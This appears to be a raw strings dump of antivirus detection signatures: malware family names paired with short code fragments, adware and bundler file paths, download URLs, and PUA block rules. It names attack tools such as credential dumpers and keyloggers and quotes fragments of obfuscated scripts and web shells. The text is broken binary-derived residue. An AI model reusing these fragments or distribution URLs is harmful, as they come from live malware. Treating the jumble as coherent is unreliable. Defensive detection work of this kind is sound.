!#MHSTR:MACRO/Obfuscator.Split.B \" & \".r t\" & \" !#MHSTR:Macro.Base64Const Public Const   = \"BASE64\" !#MHSTR:MacroJustScriptingFSO !#MHSTR:RunWithJoin .Run Join( A-Za-z), !#MHSTR:Windo done(\"ja\"+\"va\",make !#SCPT:CodeOnly.Venusie.C functionfind_wasmj http://b.reich.io/ !#SCPT:JS/Nemucod.SG.0001 newerror(4);varnum !#SCPT:JS/Nemucod.SG:0002 \";if(d==0){try{var !#SCPT:JS/Obfuse.RSF1!MTB |5000|settimeouts| !#SCPT:JS/Phish.ZXXY2!MTB <divclass=\"files\"> !#SCPT:JS/Prototype.Array array[\"prototype\"] !#SCPT:PDF:Stayt_B57EC8F3 ://fliaced.ru)>>>> \\g\\prfb-chrome.exe !#SCPT:TisifiException222 iesoexpensereports !#SCPT:Tobeet_Js_0880D6AF .value;return;}if( !#SCPT:Tobeet_Js_398DF7F8 vara={a:\"(function !#SCPT:Tobeet_Js_4467F3FE 41,59,10,125));/*! !#SCPT:Tobeet_Js_4FBDF365 '),{'\\x64\\x65\\x74\\ !#SCPT:Tobeet_Js_5F9A8505 replace(reg.eep,\"a !#SCPT:Tobeet_Js_66FE67AD ,41,59,10,125));/* !#SCPT:Tobeet_Js_7F8A15D1 ,47,122,114,116,46 !#SCPT:Tobeet_Js_8154A2CC ,59,10,125));/***@ !#SCPT:Tobeet_Js_86912E10 32,49,48,48,44,32, !#SCPT:Tobeet_Js_913390EB %x}2c9n*q+\";return !#SCPT:Tobeet_Js_97288EC7 \\\",\\\"\\\"),dot=0,hf= !#SCPT:Tobeet_Js_A37D1202 (e<32?95+e:e)}try{ !#SCPT:Tobeet_Js_A785A31D fi,ri,fr,wi,s2,ctf !#SCPT:Tobeet_Js_B9AB3F9F dot=0,hf=function( !#SCPT:Tobeet_Js_C97E26B6 elds\"][\"a\"+\"pp\"+\"e !#SCPT:Tobeet_Js_D19497FA xmlhttp;if(window. !#SCPT:Tobeet_Js_DAB084D3 b\\',\\'g\\'),k[c])}} !#SCPT:VBS/Installer.AJK3 filename=randomexe invoke-backdoorlnk invoke-jsratregsvr invoke-jsratrundll invoke-poshrathttp !#SCRIPT:PHP/SocketRead.A socket_read( !#SCRIPT:Perl/Massdefa.A2 (c)odedbyh4ckinger !#Trojan:Win32/Lnkcmd.HZ3 !#BAT:BitsadminCmd!AddFile bitsadmin/addfile !#Exploit:O97M/SlExK.frag3 c;x1;y102;ehalt() !#SCPT:CodeOnly.Dropclay.E newarrayfengshui( !#SCPT:CodeOnly.Veeblier.A tiny_dd_magic_arg !#SCPT:Exploit:JS/Axpergle uctnczih(\"tij-#2n !#SCPT:Exploit:RTF:BLDER.5 fcamefromimgdummy !#SCPT:HTML/Phish.PDH6!MTB newinjection///// !#SCPT:JS/Obfuse.ZXXP1!MTB array(wsh[drag0mf !#SCPT:O97M/EncDoc.RA4!MTB ></xm:macrosheet> !#SCPT:Obfuscator.BigSleep sleep !#SCPT:VBSNetlogonDrivemap netlogon\\drivemap !#SCPT:VBSOpenAsTextStream .openastextstream &chr( !#SCPT:getextensionname.A1 getextensionname( !#SCRIPT:CreateProcessFunc createprocessfunc !#SCRIPT:DllRegisterServer !#SCRIPT:HasObj_document.C .body.clientwidth {++(d.body)}catch !#SCRIPT:JS/Nemucod.OOE.01 (\"g\\x45t\",\"http:\" !#SCRIPT:NetDiscoenumnet.A enumnetworkdrives !#SCRIPT:PHP/Oogway.E1!MTB codedbykashifkhan !#SCRIPT:PS/PowerHub.C!MTB &(g`cmi*k`e-e*n)$ !#SCRIPT:PsGetModuleFile.A getmodulefilename !#Trojan:BAT/Agent.MR6!MTB strreverse(\"teg\") !#XmlSerialGadgetWindowsId <windowsidentity  !#Adware:PowerShell/AdLoad1 c:\\windows\\psgo\\ !#SCPT:AADprovisioningapi.C get-globaladmins !#SCPT:CodeOnly.Flyheart.AG classmjfetch !#SCPT:CodeOnly.Sundoggle.N frameworkplugin( !#SCPT:CodeOnly.Sundoggle.R classbtledevice( !#SCPT:CodeOnly.Sundoggle.T classandroidble( !#SCPT:FolderPathUserPublic c:\\users\\public\\ !#SCPT:GeneralityCleanStr.H ps3systembrowser !#SCPT:GeneralityCleanStr.N alloc8_constants !#SCPT:Nemucod:StartProcess ='^;start-proces !#SCPT:O97M/Dridex.VIS6!MTB <t>m/ds/0604.</t !#SCPT:O97M/EncDoc.RHA5!MTB !#SCPT:O97M/EncDoc.RSS1!MTB >microsoftexcel< !#SCPT:O97M/EncDoc.VPP4!MTB <f>\"wnloadt\"</f> !#SCPT:O97M/IcedID.VAR2!MTB !#SCPT:O97M/IcedID.VI93!MTB belandes(0,cc268 !#SCPT:O97M/Qakbot.RVG2!MTB !#SCPT:O97M/Qakbot.RVI2!MTB !#SCPT:PWS:HTML/Phish.SMKV6 //newinjection// !#SCPT:Win32/XFAObfuscation /acroform<</xfa% !#SCPT:WindowsDiscount_ins3 installfdservice !#SCRIPT:FlashExp_shellcode eb125831c966b96d !#SCRIPT:GetAsyncKeyState.A getasynckeystate !#SCRIPT:GetKeyboardState.A getkeyboardstate !#SCRIPT:HTML/TechMsgCall.B contactemergency !#SCRIPT:HTML/TechMsgCall.E contactmicrosoft !#SCRIPT:HTML/TechMsgCall.H microsoftsupport }catch(gdsgdsg){ }catch(gdsgsdg){ za+=string[ff](e yy/=36}catch(pq) !#SCRIPT:JS/TechAlertCode.M onclick=\"alert(' !#SCRIPT:PHP/Xboxeye.A2!MTB include'ip.php'; !#SCRIPT:PsEnvUserProfile.A $env:userprofile !#TEL:HTML/CoinHive.C!Miner  .start(); !#TEL:HTML/CoinHive.F!Miner newcoinhive.user !#Trojan:VBS/Autorun!attr06 executestatement !#Trojan:Win32/Pony.SA6!MTB ping-n2127.0.0.1 !#Exploit:Win32/Pdfjsc.ZX_02 qq='trewqva!l'; !#PowerShell:ConvertFrom-Csv convertfrom-csv !#PowerShell:Enter-PSSession enter-pssession !#PowerShell:Get-PSCallStack get-pscallstack !#PowerShell:Get-TraceSource get-tracesource !#PowerShell:Measure-Command measure-command !#PowerShell:Remove-PSSnapin remove-pssnapin !#PowerShell:Remove-TypeData remove-typedata !#PowerShell:Remove-Variable remove-variable !#PowerShell:Set-TraceSource set-tracesource !#PowerShell:Update-TypeData update-typedata !#SCPT:Exploit:JS/Axpergle.A exteeec\"value=\" !#SCPT:Exploit:JS/Meadgive.A m3s4v\" @\".mp3\" !#SCPT:HTML/Phish.VIS992!MTB ///newinjection !#SCPT:KeyloggerWindowHook.A wh_keyboard_ll, !#SCPT:LowfiTrojan:JS/Auto23 \\open\\default=1 !#SCPT:LowfiTrojan:JS/Auto84 .pl/rc/\"framebo !#SCPT:O97M/EncDoc.VARP4!MTB now()&amp;\".dat ${\"\\x47\\x4c\\x4f !#SCPT:Powershell/Leivion.P4 ::virtualalloc( !#SCPT:Trojan:IS/AutoRun.KD7 viewfilesondisk !#SCPT:Trojan:JS/Iframe.JRL2 window['alert'] ev'+fnk+\"a\"+\"l\" !#SCRIPT:ContainsClassCode.B publicclass !#SCRIPT:Exploit:JS/AimesuL4 paramvalue=\"dyy !#SCRIPT:HTML/TechMsgCall.AE calltechsupport !#SCRIPT:HTML/TechMsgCall.AH contactcustomer !#SCRIPT:JS/VariableWithMZ.A  =\"4d5a !#SCRIPT:PHP/PotentialWS.WSH escapeshellcmd( !#SCRIPT:PSCommonArtifacts.F functioninvoke- !#SCRIPT:Powershell/SQLAgent get-sqlagentjob !#TEL:SCPT_LCSuspiPSPattern6 get-vulnschtask !#BRUTE:LNK:Expert:Feature:82 .open(\"ge !#SCPT:Nemucod_Obfuscator_A!D .type= !#SCPT:Nemucod_Obfuscator_A!E .close(); !#SCPT:PossibleBase64MZHeader =\"tvqqaamaaaae !#SCPT:SuspiciousJAVAfilename siparisler.jar !#SCPT:Trojan:JS/Bardungos.A3 1.49621490834e !#SCPT:Trojan:JS/Bardungos.A4 collectgarbage .createthread( .dispcallfunc( .enumpropsexa( .enumpropsexw( this.hj48kme() !#SCRIPT:ASP/PotentialWS.WSH1 objshell.exec( !#SCRIPT:Exploit:JS/LikySlr-3 transformnode( !#SCRIPT:HasString_XajaxLib.C ==typeofxajax) !#SCRIPT:PowerShell/PsRunFile .vbs\"&& !#SCRIPT:Trojan:JS/PDFEmbedA3 =&quot;http:// +=';';function !#TEL:SCPT_LCSuspiPSPattern30 start-agentjob !#TEL:SCPT_LCSuspiPSPattern39 portscan-alive !#TEL:SCPT_LCSuspiPSPattern59 get-chromedump !#TEL:SCPT_LCSuspiPSPattern65 get-keystrokes !#TEL:SCPT_LCSuspiPSPattern78 invoke-gofetch !#TEL:SCPT_LCSuspiPSPattern90 invoke-inveigh !#Trojan:AutoIt/Inject.F9!MTB $return=$e($b( !#Worm:VBS/Jenxcus.DB.isready (is-ready,(\"\") !#SCPT:MacroDownloadExe.B!amsi stream.write( !#SCPT:Phish:PHP/Phishmul.GA12 <formaction=\" !#SCPT:Phish:PHP/Phishmul.GA15 powerxrangers !#SCPT:Phish:PHP/Phishmul.GG19 \"cyveillance\" !#SCPT:Trojan:Win32/WinLNK.DR1 mshta.exel-kc !#SCPT:VBS/Bloodhound.ARF1!MTB executeglobal !#SCRIPT:Exploit:SWF/Netis.E-3 regexpreplace !#SCRIPT:Exploit:SWF/Netis.Z-3 flash.display !#SCRIPT:Exploit:Win32/DatLis4 offsetparent= !#SCRIPT:HTML/TechMsgEvents.AS mayhaveavirus !#SCRIPT:HTML/TechMsgEvents.AX couldriskyour !#SCRIPT:HTML/TechMsgEvents.AY computermaybe !#SCRIPT:HTML/TechMsgEvents.AZ maybeinfected !#SCRIPT:HTML/TechMsgEvents.BD duetopossible !#SCRIPT:HTML/TechMsgEvents.BH stealordelete !#SCRIPT:HTML/TechMsgSubject.E mailpasswords !#SCRIPT:HTML/TechMsgSubject.H privatephotos !#SCRIPT:PHP/GetHostByAddr!MTB gethostbyaddr !#SCRIPT:UsernameFileName.A!js %username%.js .bankinter.es .ingdirect.es paypal.com.br privatbank.ua serasa.com.br !#TEL:SCPT_LCSuspiPSPattern106 copy-sections !#TEL:SCPT_LCSuspiPSPattern137 portscan-port !#TEL:SCPT_LCSuspiPSPattern170 parse-ipports !#TEL:SCPT_LCSuspiPSPattern199 invoke-psgcat !#TEL:SCPT_LCSuspiPSPattern205 get-passhints !#Worm:VBS/Jenxcus.Neroz!Lowfi neroz=n3roz(\" sellerrulez! !#AsrOfficeExecContentBypass.P1 !#BRUTE:JAMSI:Expert:Feature:62 -windowstyle !#BRUTE:JAMSI:Expert:Feature:82 ,\"\",\"\",\"0\"); !#BRUTE:JAMSI:Expert:Feature:93 !#BRUTE:OOXML:Expert:Feature:18 <v:imagedata !#BRUTE:OOXML:Expert:Feature:19 <o:oleobject !#BRUTE:OOXML:Expert:Feature:20 type=\"embed\" !#BRUTE:SCHTSK:Expert:Feature:5 <principals> !#SCPT:Autorun.execute.actntext action= !#SCPT:Exploit.JS.Axpergle.CE.2 ='kex'.+'ec' !#SCPT:Exploit:HTML/Tronlex.A.2 --no-sandbox =math.floor; !#SCPT:Exploit:JS/Neclu_obffrag l*e@n@g*t-h@ !#SCPT:Exploit:PDF/Ticanoti.CS5 .join(\\\"\\\")) !#SCPT:JsMethodFunc_arraybuffer arraybuffer( !#SCPT:JsMethodFunc_uint16array uint16array( !#SCPT:JsMethodFunc_uint32array uint32array( !#SCPT:Phish:PHP/Allowfrmall.GG allowfromall /notify.php? !#SCPT:Trojan:VBS/SLoad.PA!Pra2 !#SCPT:Trojan:VBS/SLoad.PB!Pra3 .savetofilew viewthisfile ]+number+_0x !#SCRIPT:Python/ShellBot.D1!MTB [0]==\"exec\": !#SCRIPT:StringRecycleBinFolder $.recyclebin !#SCRIPT:WinApis_VirtualAlloc.D !#SCRIPTLOWFI:BankerProxy.proxy return\"proxy yxorp !#Script:Phish:PHP/ScamPage!MTB --scampage-- !#Script:Phish:PHP/VoiceMsg!MTB ---by*b0y--- !#Trojan:BAT/AVDisabler.A!atb05 rutg.exe/run !#Trojan:PowerShell/Sldscr_dhs2 \"wireshark*\"  !#BRUTE:SCHTSK:Expert:Feature:44 )8 !#BRUTE:SCHTSK:Expert:Feature:44   !#BRUTE:SCHTSK:Expert:Feature:69 )8 !#BRUTE:SCHTSK:Expert:Feature:69   !#SCPT:Backdoor:Perl/Dirtelti.P2 )8 !#SCPT:Backdoor:Perl/Dirtelti.P2 return\"fuck   !#SCPT:Java/AdwindOddClassName.A )8 !#SCPT:Java/AdwindOddClassName.A main/   !#SCPT:Java/AdwindOddClassName.B )8 !#SCPT:Java/AdwindOddClassName.B   !#SCPT:Java/AdwindOddClassName.C )8 !#SCPT:Java/AdwindOddClassName.C  )8 !#SCPT:PowerShell/EncodedCommand  pwsh  pwsh )8 !#SCPT:PowerShell/NonInteractive  pwsh  !#SCPT:Trojan:JS/Obfuse.RVD6!MTB )8 !#SCPT:Trojan:JS/Obfuse.RVD6!MTB return\\\"{2}   !#SCPT:Trojan:VBS/Obfuse.RV2!MTB )8 !#SCPT:Trojan:VBS/Obfuse.RV2!MTB wckr=chr(k)   !#SCPT:TrojanSpy:JS/BrobanDel.A5 )8 !#SCPT:TrojanSpy:JS/BrobanDel.A5 brasil|hsbc   !#SCRIPT:PowerShell/Credphishlog )8 !#SCRIPT:PowerShell/Credphishlog  :tmp $;if(  !#Trojan:Win32/Nanocore.FC12!MTB )8 !#Trojan:Win32/Nanocore.FC12!MTB 2e626174\"))   !#Worm:VBS/Jenxcus.Recoder!Lowfi )8 !#Worm:VBS/Jenxcus.Recoder!Lowfi '<[recoder:  !!#SCPT:Backdoor:PHP/cookiejack.GG )8!!#SCPT:Backdoor:PHP/cookiejack.GG cookiejack !!#SCPT:Backdoor:PHP/ensikology.GG )8!!#SCPT:Backdoor:PHP/ensikology.GG ensikology !!#SCPT:Exploit:HTML/Axpergle.AH.2 )8!!#SCPT:Exploit:HTML/Axpergle.AH.2 &amp;exec= !!#SCPT:GeneralityExploitStrRare.S )8!!#SCPT:GeneralityExploitStrRare.S !!#SCPT:Nemucod_exclusion.lib_load )8!!#SCPT:Nemucod_exclusion.lib_load |lib_load| !!#SCPT:Nemucod_exclusion.writelog )8!!#SCPT:Nemucod_exclusion.writelog |writelog| !!#SCPT:Phish:PHP/TA_realcarder.GG )8!!#SCPT:Phish:PHP/TA_realcarder.GG realcarder !!#SCPT:Trojan:VBS/Obfuse.HBS3!MTB )8!!#SCPT:Trojan:VBS/Obfuse.HBS3!MTB =\"h\"&\"ell\" !!#SCPT:Trojan:VBS/Obfuse.HBS8!MTB )8!!#SCPT:Trojan:VBS/Obfuse.HBS8!MTB ox.runok,0 !!#SCRIPT:Exploit:HTML/Meercat.E-1 )8!!#SCRIPT:Exploit:HTML/Meercat.E-1 todaystats !!#SCRIPT:Exploit:HTML/Meercat.I-4 )8!!#SCRIPT:Exploit:HTML/Meercat.I-4 noreferer: !!#SCRIPT:Exploit:HTML/Meercat.M-1 )8!!#SCRIPT:Exploit:HTML/Meercat.M-1 traffadmin !!#SCRIPT:Exploit:HTML/Meercat.N-3 )8!!#SCRIPT:Exploit:HTML/Meercat.N-3 threadname !!#SCRIPT:JS/BlacoleRefLowfi.Frag1 )8!!#SCRIPT:JS/BlacoleRefLowfi.Frag1 }catch(q){ !!#SCRIPT:PowerShell/Macroburst.B4 )8!!#SCRIPT:PowerShell/Macroburst.B4 /tags/list !!#Trojan:BAT/CryptReplDow.AF5!MTB )8!!#Trojan:BAT/CryptReplDow.AF5!MTB timeout/t1 !!#TrojanDownloader:VBS/GootKitsd5 )8!!#TrojanDownloader:VBS/GootKitsd5 \"!#SCPT:EnvVarCharReplacement.Clean )8\"!#SCPT:EnvVarCharReplacement.Clean \\microsa\\ ninitepro \"!#SCPT:GeneralityExploitStrRare.AT )8\"!#SCPT:GeneralityExploitStrRare.AT sbxescape )8\"!#SCPT:JS/Obfuscator.Split.MSXML.A l2.xmlh\"; )8\"!#SCRIPT:LoadWin32importsfromMacro lib\"ntdll #!#Exploit:VBS/CVE-2018-8174.A!atb01 )8#!#Exploit:VBS/CVE-2018-8174.A!atb01 ()+69596  #!#SCPT:Backdoor:ASP/Dirtelti.F1!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.F1!MTB aspshell  #!#SCPT:Backdoor:ASP/Dirtelti.J3!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J3!MTB hackwolf  #!#SCPT:Backdoor:ASP/Dirtelti.J4!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J4!MTB file_del  #!#SCPT:Backdoor:ASP/Dirtelti.J5!MTB )8#!#SCPT:Backdoor:ASP/Dirtelti.J5!MTB file_att  #!#SCPT:Backdoor:PHP/Dirtelti.A7!MTB )8#!#SCPT:Backdoor:PHP/Dirtelti.A7!MTB =explode  #!#SCPT:Backdoor:PHP/Dirtelti.C3!MTB )8#!#SCPT:Backdoor:PHP/Dirtelti.C3!MTB getcwd()  #!#SCPT:GeneralityExploitStrCommon.B )8#!#SCPT:GeneralityExploitStrCommon.B ropchain  #!#SCPT:GeneralityExploitStrCommon.I )8#!#SCPT:GeneralityExploitStrCommon.I  oobr #!#SCPT:GeneralityExploitStrCommon.X )8#!#SCPT:GeneralityExploitStrCommon.X  )8#!#SCPT:JS/Obfuscator.HexMixed.cmd.A \\u0063md  c\\u006dd  cm\\u0064  )8#!#SCPT:JS/Obfuscator.HexMixed.run.A \\u0052un  r\\u0075n  #!#SCPT:JS/Obfuscator.Hex )8#!#SCPT:JS/Obfuscator.Hex y.*NT >1rcF SDa8l4q \\Oursurfing.exe -silence -ptid= &bundle=Component&product=Oursurfing&status= \\luckysearchesSoftware\\luckysearcheshp \\luckysearchesSoftware\\luckysearcheshpx \\bin\\pxdl.pdb {9CEE239D-2901-4D60-AE9E-25CDA88D47E2} %s/%s/%s?action=%s %s -ptid=%s eUpgrade\\eupgrade.exe -enablebho -bhoid={ \\MiuiTab \\ProtectService.exe sc delete IePluginServices \\SupTab\\SupTab.dll \\MiniLite \\searchProvider.xml SOFTWARE\\WdsManPro {262E20B8-6E20-4CEF-B1FD-D022AB1085F5} MangerProtect WdsManPro mini_zip update0=ref,%s&update1=nation,%s&update2=language,%s \\TMain\\Release\\SvrUpdater.pdb \\TMain\\Release\\TSvr.pdb TSvr.cfig SVR: I will exit..... Manages network policy and network policy notification delivery for TSv.com. /sof-installer/%s?action1=xa.geoip&action2=visit \\InstallerMainV6_Yrrehs\\Release\\Main.pdb Main_t00ls_Yrrehs /%s?action=%s.dlzip \\I\\conf .%s.finish \\I\\tmp II.zip \\I\\tmpII.zip %d%02d%02d%02d%02d%02d II.zip\\I \\SearchProtect\\Bin\\Release\\CmdShell.pdb 1F4C6304-865F-41EA-B18C-DB10B5F77DF5 5F26509F-29FE-4598-8800-FA22CE9CC17F HPNotify.exe -run -ptid=%s %sconf \\SearchProtect\\bin\\Release\\HPNotify.pdb &ts=%d&from=xtab&uid=%s /searchprotect/%s?action SUPDuiWindow %s%s?action=browser.%s.prevent.homepage.%s \\Release\\SFKEX.pdb \\x64\\Release\\SFKEX64.pdb Yrrehs.exe t00ls_Y[S t00l_Yrrehs_EX_ /logic/z.php xa.xingcloud.com/v4/sof-everything/ xingcl oud.com/v4/ sof-every thing/ xingcloud.com/v4/sof-everything/ \\SFKEX.dll e_SetDefaultSearch e_SetHomePage \\SearchProtect\\Bin\\Release\\BrowerWatch I will exit watching thread. \\SearchProtect\\Bin\\Release\\IeWatchDog.pdb \\bin\\BrowserAction_MD.pdb /searchprotect/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s&dp=%s 2EFFE99D-743D-44D0-BBF2-F9DDDEA2F92D \\SearchProtect\\Bin\\Release\\ProtectService.pdb cmdshell.exe IHProtectUpDate SOFTWARE\\IHProtect IHProtectPlugin SUhQcm90ZWN0UGx1Z2lu /sof-installer/%s?action=%s.uninstall.%s UninstallManager  will be removed, are you sure to continue? \\SupTab\\ Dlg2.xml <Option name=\"HpProtect\" Windows Protect Manager \\extensions\\defsearchp@gmail.com\\install.rdf \\SupNewTab\\bin\\SupTab.pdb 2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0 BFAC251F-FE56-45F9-B134-2CD7DCBF8EE0 /sof-ient/%s?action no load urlmon.dll install_ie t00lHOM \\SSFK\\Release\\SSFK.pdb \\supsoft\\WPM2.0\\Release\\ReportDll.pdb /sof-everything/%s?action Everything.exe TheradTask::Stop:%d:%d:%d http://www.thefacebooksinfo.com/Public/softs/freefinder/FreeFinderResourcesNew.zip \\net_search\\ /everything/up?ptid=%s&sid=%s&ln=%s_%s&ver=%s&uid=%s SFKEX64.exe SFKEX.exe -silence -ptid=%s /sof-installer/%s?action=%s \\conf -force  -type=%d -innerptid=%s -mver=%s  %s -force  -type=%s -innerptid=%s -mver=%s  %s FBFDE863-3C17-4B82-A5D1-9B8ED5BE6B40.tmp (FBFDE863-3C17-4B82-A5D1-9B8ED5BE6B40.tmp -force -type= ?action=%s.dlzip1.%s.finish,%d 160DD503-E139-4E78-AB29-79A839E404BE -innerptid=%s  -mver=%s Zero-tmp /%s/1/%s/2 /%s/1 /%s/2 123b.zip 456b.zip 849E93D6-4D33-4AAD-A4FD-42A14F13FA00 Upgrade Wizar d QDo6HRFDF0MhQ2dT D$HPj ..\\DataBase ..\\DataBaseDoWork uninstallDlg2.xml LWZvcmNlICAtdHlwZT0xIC1pbm5lcnB0aWQ9 ..\\test ..\\testDoWork ..\\mainup ..\\mainupDoWork I s t he Latest Version! p-\tAtL  $Rq` {wV$, yfn+5N* c;s,i, #gU|@h T,;gCd .lEyJ !J'?R \\WPM` #\\WPM` \\SFK` &\\SFK` \\STab` &\\STab` \\XTab` &\\XTab` \\qone8` \\2WdM2` #\\2WdM2` \\6WdM6` #\\6WdM6` \\7WdM7` #\\7WdM7` \\corss` #\\corss` \\cosun` #\\cosun` \\lWdMl` #\\lWdMl` \\yWdMy` #\\yWdMy` \\TData`\t &\\TData`\t \\SupTab`\t \\4winp4`\t \\update`\t \\RayDld`\t \\SupTab` \\SupTab`\t#\\4winp4`\t#\\update`\t&\\RayDld`\t&\\SupTab` \\vi-view` \\Tmp0x0x` \\MiuiTab` #\\Tmp0x0x` &\\MiuiTab` \\aartemis` \\key-find` \\MiniLite` &\\MiniLite` \\TDataDld` &\\TDataDld` \\awesomehp` \\do-search` \\istart123` \\omniboxes`  (x86)\\SFK` & (x86)\\SFK` \\Everything` \\istartsurf` \\mysites123` \\omiga-plus` \\oursurfing` \\sweet-page` \\MWMiniProM` \\XWMiniProX`  (x86)\\STab`  (x86)\\XTab` #\\MWMiniProM` #\\XWMiniProX` & (x86)\\STab` & (x86)\\XTab` \\6WdsManPro6` #\\6WdsManPro6` \\FWdsManProF` #\\FWdsManProF` \\HWdsManProH` #\\HWdsManProH` \\SWdsManProS` #\\SWdsManProS` \\UWdsManProU` #\\UWdsManProU` \\vWdsManProv` #\\vWdsManProv`  (x86)\\TData` & (x86)\\TData` \\webssearches`  (x86)\\RayDld` & (x86)\\RayDld` \\istartpageing` \\luckysearches` \\mystartsearch` \\yoursearching`  (x86)\\MiuiTab` & (x86)\\MiuiTab`  (x86)\\MiniLite` & (x86)\\MiniLite`  (x86)\\TDataDld` & (x86)\\TDataDld` \\Corner Sunshine` \\IHProtectUpDate` #\\IHProtectUpDate` &\\Corner Sunshine` \\IePluginServices` #\\IePluginServices` \\WindowsMangerProtect` #\\WindowsMangerProtect`  (x86)\\Corner Sunshine] & (x86)\\Corner Sunshine] SoftwareBundler:Win32/Bestof  I-b,g exe.ac_tobm_putes ezitenoma/ogsart moc.sutaicsafsuibocemrym //VERYSILENT {tmp}\\inst.exe {tmp}\\inst.exe] !Killav.HI BrowserModifier:Win32/Omniboxes!blnk  $BrowserModifier:Win32/Omniboxes!blnk RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/Omniboxes!blnk @<RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/Omniboxes!blnk txjs? BrowserModifier:Win32/WWWSearching!blnk  'BrowserModifier:Win32/WWWSearching!blnk RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/WWWSearching!blnk] C?RPF:IS_CMDEmbedded&SCPT:BrowserModifier:Win32/WWWSearching!blnk] SoftwareBundler:Win32/Fourthrem SoftwareBundler:Win32/FourthremL@ _mb.exe?mid= 4_mb.exe?mid= .exe?mid= _mb.exe?msapp= 4_mb.exe?msapp= _a11.exe _a11.exe?msapp= _nj.exehttp:// 4_nj.exehttp:// @_nj.exe?msidreq= _cr.exehttp:// _bb.exehttp://2ndrequest.me/ 5_bb.exehttp://2ndrequest.me/ @_bb.exe?aleatokenid= _br.exe?dummyid= 6_br.exe?dummyid= _nj.exe?dummyid= _mb.exe?msid= 6_mb.exe?msid= .exe?msid= trackpixl.com/010914s/010914i.htmshowwebinpopup6error 7trackpixl.com/010914s/010914i.htmshowwebinpopup6error _mb.exe?idket= 8_mb.exe?idket= .exe?idket= _mb.exe?kitkatid= :_mb.exe?kitkatid= _a10.exe _a10.exe?kitkatid= _a11.exe?kitkatid= _mb.exe?tkt= ;_mb.exe?tkt= _mb_1.exe\\ _is.exehttp:// _is.exe?tkt= _mb.exe?msappid= <_mb.exe?msappid= .exe?msappid= -silence-ptid=pcm\\ ?-silence-ptid=pcm\\ _o.exehttp:// _o.exe? _br.exehttp:// _mb.exe?token= ?_mb.exe?token= @_mb_1.exe\\  _is.exehttp:// _is.exe?token= _mb.exe?asusdelta= @_mb.exe?asusdelta= .exe?asusdelta= _mb.exe?microsoft= @_mb.exe?microsoft= .exe?microsoft= _mb.exe?jsession= C_mb.exe?jsession= _mb.exe\\ _ie.exe?jsession= _mb.exe?session= C_mb.exe?session= _is.exe?session= {b853e835-9f24-4f4b-b55c-e554d15cccd2} D{b853e835-9f24-4f4b-b55c-e554d15cccd2} @_ps.exehttp:// @_ps.exe? _mb.exe?chromefdp= F_mb.exe?chromefdp= _has.exe\\ _is.exe?chromefdp= _mb.exe?phpsessid= F_mb.exe?phpsessid= _is.exe?phpsessid= _mb.exe?requestcookie= N_mb.exe?requestcookie= _is.exe?requestcookie= _mb.exe?windowsappinstall= P_mb.exe?windowsappinstall= .exe?windowsappinstall= _mb.exe?essaporranaoehvirus R_mb.exe?essaporranaoehvirus .exe?essaporranaoehvirus _t3.exehttp:// Z_t3.exehttp:// @_t3.exe?aleatokenid= _t3.exe/ @key_local_machine\\software\\istartsurf 4threquest.me/ b4threquest.me/ 0_mb.exe?token= 0_is.exehttp://www.4threquest.me/ 0_is.exe?token= e4threquest.me/  _mb.exe?tkmswintokenrequestxmlhttp= _mb_1.exe @_is.exehttp://www.4threquest.me/ _br.exe s_br.exe @_br.exe?requestid= _nj.exe nullsoftinstallsystemv2.46 _br.exehttp://www. u_br.exehttp://www. @_br.exe? 0-9a-z= v_br.exe @_br.exe?aspnetsessid= _br.exehttp://www.4threquest.me/310714d/310714_br.exe? a-z0-9\\ a-z0-9_nj.exehttp://www.4threquest.me/310714d/291014_nj.exe? a-z0-9\\nsweb.dllhttp://goo.gl/x7a4lcshowwebinpopuptaskkill-f-im a-z0-9_mb_1.exehttp://goo.gl/0ma6okopenhttp://goo.gl/0ma6okerror http://myredir.net/K_ [http://myredir.net/K_ http://polifile.co/ 10+http://polifile.co/ .exe?IDket= 84Yts  QW~Yg J0sD\t SCRIPT:SoftwareBundler:Win32/Fourthrem.A-1&(SCRIPT:SoftwareBundler:Win32/Fourthrem.A-2|SCRIPT:SoftwareBundler:Win32/Fourthrem.A-3)] PUA:Win32/CrawlerToolbar PUA:IRST:Block:CrawlerToolbar PUA:Block:CrawlerToolbar&!PUA:Exception +'PUA:Block:CrawlerToolbar&!PUA:Exception PUA:ML:Blocked:CrawlerToolbar&!PUA:Exceptionz 0,PUA:ML:Blocked:CrawlerToolbar&!PUA:Exceptionz PUA:Win32/Tugspay PUA:IRST:Block:Tugspay PUA:Block:Tugspay&!PUA:Exception $ PUA:Block:Tugspay&!PUA:Exception PUA:ML:Blocked:Tugspay&!PUA:Exceptionz )%PUA:ML:Blocked:Tugspay&!PUA:Exceptionz PUA:Win32/Ogimant PUA:Block:Ogimant&!PUA:Exceptionz $ PUA:Block:Ogimant&!PUA:Exceptionz PUA:Win32/SquareNet PUA:Block:SquareNet&!PUA:Exceptionz &\"PUA:Block:SquareNet&!PUA:Exceptionz PUA:Win32/Somoto \t\t]< \t@H` %  #:L$< MpCloudToVDMBloomFilter !#SLF:MpCloudToVDMBloomFilter.A F!#SLF:MpCloudToVDMBloomFilter.A !#SLF:MpCloudToVDMBloomFilterPUA.A o\"I!#SLF:MpCloudToVDMBloomFilterPUA.A !#SLF:MpCloudToVDMBloomFilterSlow.A q#J!#SLF:MpCloudToVDMBloomFilterSlow.A DCO_MpDisableFriendlySlowCheck SOAP:https://wdcp.microsoft.com/WdCpSrvc.asmxSOAP:https://wdcpalt.microsoft.com/WdCpSrvc.asmxREST:https://wdcp.microsoft.com/wdcp.svc/submitReportREST:https://wdcpalt.microsoft.com/wdcp.svc/submitReportz DCO_OneClickWDODisable DCO_MpClientPoolID 19b3cc206e0b b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 %b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 enghipscpy:blockexecution:b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 ?enghipscpy:blockexecution:b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 caf67f1f-2ab8-4d6b-9146-52ebe33baeba WIAD org test rule This is a Test HIPS Rule that exposes rule logic in audit mode to entire WIAD org RThis is a Test HIPS Rule that exposes rule logic in audit mode to entire WIAD orgz 